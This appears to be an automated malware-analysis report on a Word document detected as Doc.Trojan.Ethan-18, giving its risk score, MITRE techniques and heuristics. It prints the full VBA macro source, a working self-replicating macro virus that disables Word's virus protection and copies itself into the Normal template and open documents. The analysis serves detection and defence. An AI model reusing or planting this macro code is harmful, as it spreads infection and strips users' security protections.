MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable security features and manipulate its own code, suggesting an intent to execute further malicious actions. The ClamAV detection as 'Doc.Trojan.Ethan-18' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Ethan-18 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-18
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2120 bytes |
SHA-256: c7ff5a3c3d2f6060e1170d8b0c8a3db46c55550fb5966983660e8bc754e1405f |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-18
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Thanks Mr Ethan Frome...
'Sorry anyway...
On Error Resume Next
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\grover.___", 6) = "" Then
Open "c:\grover.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\grover.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
b = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, b
b = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, b
Open "c:\grover.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill "c:\grover.___"
End Sub
Private Sub Document_Open()
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
End Sub
Private Sub Document_new()
ActiveDocument.ShowGrammaticalErrors = False
ActiveDocument.Content.Font.Size = 24
ActiveDocument.Content.Font.NameAscii = "Arial"
ActiveDocument.Content.Font.Bold = True
ActiveDocument.Content.ParagraphFormat.Alignment = wdAlignParagraphCenter
ActiveDocument.Content.Font.Animation = wdAnimationShimmer
ActiveDocument.Content.Text = "!MOSH to Super Grover!"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.